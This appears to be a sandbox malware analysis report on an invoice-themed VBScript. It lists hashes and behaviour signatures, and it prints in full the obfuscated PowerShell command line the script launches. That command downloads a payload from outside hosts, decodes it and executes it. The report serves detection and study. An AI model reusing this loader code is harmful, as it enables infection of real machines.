Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2024 15:28

General

  • Target

    0702/Revised Invoice 7389293.vbs

  • Size

    26KB

  • MD5

    ed86258f8c9db682ae810896c67d498c

  • SHA1

    e182aef5ecacc6bec36e9bc2bb255436b9dae698

  • SHA256

    64c701bc7d32900bf11e8f5dd9bed584d350a949c467f5fd6643e8cd7f902fcd

  • SHA512

    b90e69ed8c473994472b813ef68c45d91e4c46485227f109d400a8b7d4ebfe425abc585387ed61f9e51fd00fd6cdca16f9bf4bf1800082d9cebc8d650429822a

  • SSDEEP

    384:PlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwCjnvhTT1EFw:9zSR022X/523S0e8xPPmVvJr08hpouGs

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 14 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0702\Revised Invoice 7389293.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For( $Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b( Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/ 1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2 3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205 ',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd =.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205 ' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas (Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205 ' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas (Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas (Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205 'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h $.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas (Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas (Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas $Ehrlichman;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"
        3⤵
          PID:1328

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xs2tfxtq.fw3.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3964-4-0x00007FF8163A3000-0x00007FF8163A5000-memory.dmp

      Filesize

      8KB

    • memory/3964-5-0x00000132C6C10000-0x00000132C6C32000-memory.dmp

      Filesize

      136KB

    • memory/3964-15-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB

    • memory/3964-16-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB

    • memory/3964-17-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB

    • memory/3964-18-0x00007FF8163A3000-0x00007FF8163A5000-memory.dmp

      Filesize

      8KB

    • memory/3964-19-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB

    • memory/3964-20-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB

    • memory/3964-21-0x00007FF8163A0000-0x00007FF816E61000-memory.dmp

      Filesize

      10.8MB